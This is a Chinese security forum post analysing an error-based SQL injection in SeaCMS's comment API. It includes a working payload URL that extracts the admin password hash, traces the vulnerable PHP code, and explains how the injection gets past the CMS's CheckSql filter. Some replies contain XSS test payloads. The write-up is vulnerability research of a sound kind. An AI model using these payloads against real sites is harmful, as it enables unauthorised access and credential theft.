用户
搜索
  • TA的每日心情
    慵懒
    2019-3-11 13:58
  • 签到天数: 141 天

    连续签到: 1 天

    [LV.7]常住居民III

    i春秋作家

    i春秋十五军装逼团团长

    Rank: 7Rank: 7Rank: 7

    34

    主题

    118

    帖子

    1680

    魔法币
    收听
    0
    粉丝
    21
    注册时间
    2018-3-1

    i春秋签约作者春秋文阁积极活跃奖春秋游侠

    F0rmat i春秋作家 i春秋十五军装逼团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠 楼主
    发表于 2019-3-4 21:02:27 1113593
    本帖最后由 F0rmat 于 2019-3-4 13:04 编辑

    0x01 前言

    好像没发文章了,在t00ls看到一篇seacms8.7的分析文,不过不是最新的版本,好久没看到seacms和maccms这两个cms发新的漏洞了,那个过滤有点恶心。后来还在nosec看到一篇离新版9.0比较近的一个版本8.9的一个变量覆盖到sql注入文章,但是我复现不成功,我拿的是6.53的版本,原因后面会讲到。
    本文首发博客:https://getpass.cn/Seacms8.7-sql-injection-analysis/
    欢迎关注我的专栏:https://zhuanlan.zhihu.com/wosrc
    小菜平时喜欢写点小白文,不喜勿喷。

    0x02 环境

    Web: phpstudy and MAMP
    System: Windows 7 X64 and MacOS
    Browser: Firefox Quantum and Chrome
    MySQL:  5.5
    php:  5.4

    0x03 漏洞详情

    漏洞复现

    payload:

    http://10.211.55.4/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`

    漏洞分析

    在此之前我在MySQL 5.6、5.7上面复现都不成功,因为这两个版本用extractvalue()updatexml()报错注入不成功,后来换了系统Linux和Windows还有macOS来测试也是一样,和PHP、Apache的版本没有影响只要的还是MySQL的版本问题,所以大家测试的时候注意一下版本。

    漏洞文件是在:comment/api/index.php

    <?php
    session_start();
    require_once("../../include/common.php");
    $id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
    $page = (isset($page) && is_numeric($page)) ? $page : 1;
    $type = (isset($type) && is_numeric($type)) ? $type : 1;
    $pCount = 0;
    $jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
    //缓存第一页的评论
    if($page<2)
    {
            if(file_exists($jsoncachefile))
            {
                    $json=LoadFile($jsoncachefile);
                    die($json);
            }
    }
    $h = ReadData($id,$page);
    $rlist = array();
    if($page<2)
    {
            createTextFile($h,$jsoncachefile);
    }
    die($h);        
    
    function ReadData($id,$page)
    {
            global $type,$pCount,$rlist;
            $ret = array("","",$page,0,10,$type,$id);
            if($id>0)
            {
                    $ret[0] = Readmlist($id,$page,$ret[4]);
                    $ret[3] = $pCount;
                    $x = implode(',',$rlist);
                    if(!empty($x))
                    {
                    $ret[1] = Readrlist($x,1,10000);
                    }
            }        
            $readData = FormatJson($ret);
            return $readData;
    }
    
    function Readmlist($id,$page,$size)
    {
            global $dsql,$type,$pCount,$rlist;
            $ml=array();
            if($id>0)
            {
                    $sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
                    $rs = $dsql ->GetOne($sqlCount);
                    $pCount = ceil($rs['dd']/$size);
                    $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
                    $dsql->setQuery($sql);
                    $dsql->Execute('commentmlist');
                    while($row=$dsql->GetArray('commentmlist'))
                    {
                            $row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
                            $ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
                    }
            }
            $readmlist=join($ml,",");
            return $readmlist;
    }
    
    function Readrlist($ids,$page,$size)
    {
            global $dsql,$type;
            $rl=array();
            $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
            $dsql->setQuery($sql);
            $dsql->Execute('commentrlist');
            while($row=$dsql->GetArray('commentrlist'))
            {
                    $rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
            }
            $readrlist=join($rl,",");
            return $readrlist;
    }
    

    传入$rlist的值为我们构造的sql语句:

    @`'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`'`

    通过ReadData函数,implode处理后传入Readrlist函数

    可以看到执行的SQL语句是

    它在$dsql->Execute('commentrlist');这句的时候会有一个SQL的安全检测

    文件在include/sql.class.phpCheckSql函数

    //完整的SQL检查
            while (true)
            {
                    $pos = strpos($db_string, '\'', $pos + 1);
                    if ($pos === false)
                    {
                            break;
                    }
                    $clean .= substr($db_string, $old_pos, $pos - $old_pos);
                    while (true)
                    {
                            $pos1 = strpos($db_string, '\'', $pos + 1);
                            $pos2 = strpos($db_string, '\\', $pos + 1);
                            if ($pos1 === false)
                            {
                                    break;
                            }
                            elseif ($pos2 == false || $pos2 > $pos1)
                            {
                                    $pos = $pos1;
                                    break;
                            }
                            $pos = $pos2 + 1;
                    }
                    $clean .= '$s$';
                    $old_pos = $pos + 1;
            }
            $clean .= substr($db_string, $old_pos);
            $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
    

    可以看到这里没有把我们的报错函数部分代入进去,如果代入进去检测的话就会这里检测到

    所以上面构造的语句也很有意思

    后面$clean就是要送去检测的函数,通过一番处理后得到的值为

    后面返回来执行的的SQL语句还是原样没动

    基本分析就完成了。

    最终执行的语句:

    SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (@`\'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`\'`) ORDER BY id DESC

    还有一些问题就是构造语句的问题。

    刚开始传入的%27后面怎么变成了转义后的单引号?

    开头的时候require_once("../../include/common.php");就包含了这个文件,里面有一个_RunMagicQuotes函数,如果PHP配置没有开启get_magic_quotes_gpc就会用到这个函数,这个函数是把值经过addslashes函数的处理。此函数的作用是为所有的 ' (单引号), \" (双引号), \ (反斜线) and 空字符和以会自动转为含有反斜线的转义字符。

    所以后面的SQL语句就会加上转义符号,然后经过CheckSql函数的时候就绕过了对报错语句的检测。

    function _RunMagicQuotes(&$svar)
    {
            if(!get_magic_quotes_gpc())
            {
                    if( is_array($svar) )
                    {
                            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
                    }
                    else
                    {
                            $svar = addslashes($svar);
                    }
            }
            return $svar;
    }

    为什么要加上``两个反引号和@?

    in在MySQL里面用法是:

    select * from where field in (value1,value2,value3,…)

    value1必须是一个值,整数型或者文本型都可以,如果用单引号的话就会变成三个转义\'\'\'

    `在MySQL上面是作为一个转义符号来使用,一般为了不让和系统的变量冲突所以使用,一般在数据库名、表名、字段名使用,所以这里用@来使这个成为一个变量类型。

    0x04 后记

    在6.53的版本中include/common.php中的44-47行接收到变量

    foreach(Array('_GET','_POST','_COOKIE') as $_request)
    {
            foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
    }

    但是在75行这里又重新赋值了

    require_once(sea_DATA."/config.cache.inc.php");

    不懂8.9的版本是否是这样,在官网拿不到8.9的源码。

    0x05 参考

    https://www.cnblogs.com/shijianchuzhenzhi/p/6193097.html

    https://www.t00ls.net/thread-49691-1-1.html

    https://nosec.org/home/detail/2222.html

    https://blog.csdn.net/zpy1998zpy/article/details/80631036

    https://www.cnblogs.com/Lcy-Sun0419/p/7843912.html

    评分

    参与人数 1魔法币 +10 收起 理由
    zzconfig + 10 upup

    查看全部评分

    本帖被以下淘专辑推荐:

    getpass.cn
    请问怎么用phpstom追踪到变量执行的SQL语句的
    使用道具 举报 回复
    F0rmat i春秋作家 i春秋十五军装逼团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠
    板凳
    发表于 2019-3-5 22:39:08
    罪ssss 发表于 2019-3-5 08:52
    请问怎么用phpstom追踪到变量执行的SQL语句的

    下断点,然后F7 F8跟着走下去
    getpass.cn
    使用道具 举报 回复
    发表于 2019-3-5 23:44:39
    你是小菜
    我就是幼儿园选手
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫流光 这个网络他曾来过。
    使用道具 举报 回复
    你是小菜
    我就是幼儿园选手
    使用道具 举报 回复
    不错
    使用道具 举报 回复
    发表于 2019-3-12 17:54:54
    本帖最后由 snowflake 于 2019-3-12 18:11 编辑

    <IMGSRC=javascript:al
    1;rt('XSS')>
    使用道具 举报 回复
    发表于 2019-3-12 18:00:08
    本帖最后由 snowflake 于 2019-3-12 18:51 编辑

    <img src="#" onerror=alert('xss')>
    使用道具 举报 回复
    不错,学习了
    使用道具 举报 回复
    发表于 2019-3-22 13:45:06
    大佬,按照思路我模拟了一下出现狠毒bug
    使用道具 举报 回复
    一些细节讲的很到位 学习了 大佬
    使用道具 举报 回复
    发表于 2019-4-21 10:15:52
    很细,讲的不错!!!给你点赞!!!!
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册